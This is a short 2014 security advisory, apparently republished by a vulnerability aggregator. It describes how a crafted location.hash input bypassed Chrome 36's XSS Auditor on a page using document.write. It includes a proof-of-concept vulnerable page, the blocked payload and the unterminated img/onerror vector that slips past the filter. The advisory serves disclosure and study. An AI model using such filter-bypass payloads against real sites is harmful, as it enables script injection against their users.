Google Chrome 36.0 XSS Auditor Bypass

🗓️ 01 Sep 2014 00:00:00Reported by Rafay BalochType

packetstorm🔗 packetstormsecurity.com👁 26 Views

Google Chrome 36.0 XSS Auditor Bypass, Impact: Moderate, Rafay Baloch, RHAInfoSec, Latest Versio

`#Vulnerability: Google Chrome 36.0 XSS Auditor Bypass  
#Impact: Moderate  
#Authors: Rafay Baloch  
#Company: RHAInfoSec  
#Website: http://rhainfosec.com  
#version: Latest  
  
Description  
  
Google chrome XSS auditor was found prone to a bypass when the user input  
passed though location.hash was being written to the DOM by using  
document.write property. Normally, XSS auditor checks XSS by comparing the  
request and response however, it also checks for request itself, if it  
contains an untrusted input to prevent DOM XSS as well.  
  
  
Proof Of concept:  
  
Consider the following code:  
  
<html>  
<body>  
<script type="text/javascript">  
document.write(location.hash);  
</script>  
</body>  
</html>  
  
  
This takes input from location.hash property and writes it to the DOM. We  
initially inject the following payload:  
#<img src=x onerror=prompt(1)>. The request is blocked and the following  
error is returned:  
  
"  
The XSS Auditor refused to execute a script in 'attacker.com#><img src=x  
onerror=prompt(1)>' because its source code was found within the request.  
The auditor was enabled as the server sent neither an 'X-XSS-Protection'  
nor 'Content-Security-Policy' header."  
  
However, the following vector passes by:  
  
#<img src=x onerror=prompt(1)//  
  
  
The following is how its reflected inside of DOM:  
  
<img src="x" onerror="prompt(1)//" <="" body="">  
  
As you can clearly witness that the user supplied input has been mutated  
which has lead to XSS auditor bypass.  
  
  
`

01 Sep 2014 00:00Current

0.5Low risk

Vulners AI Score0.5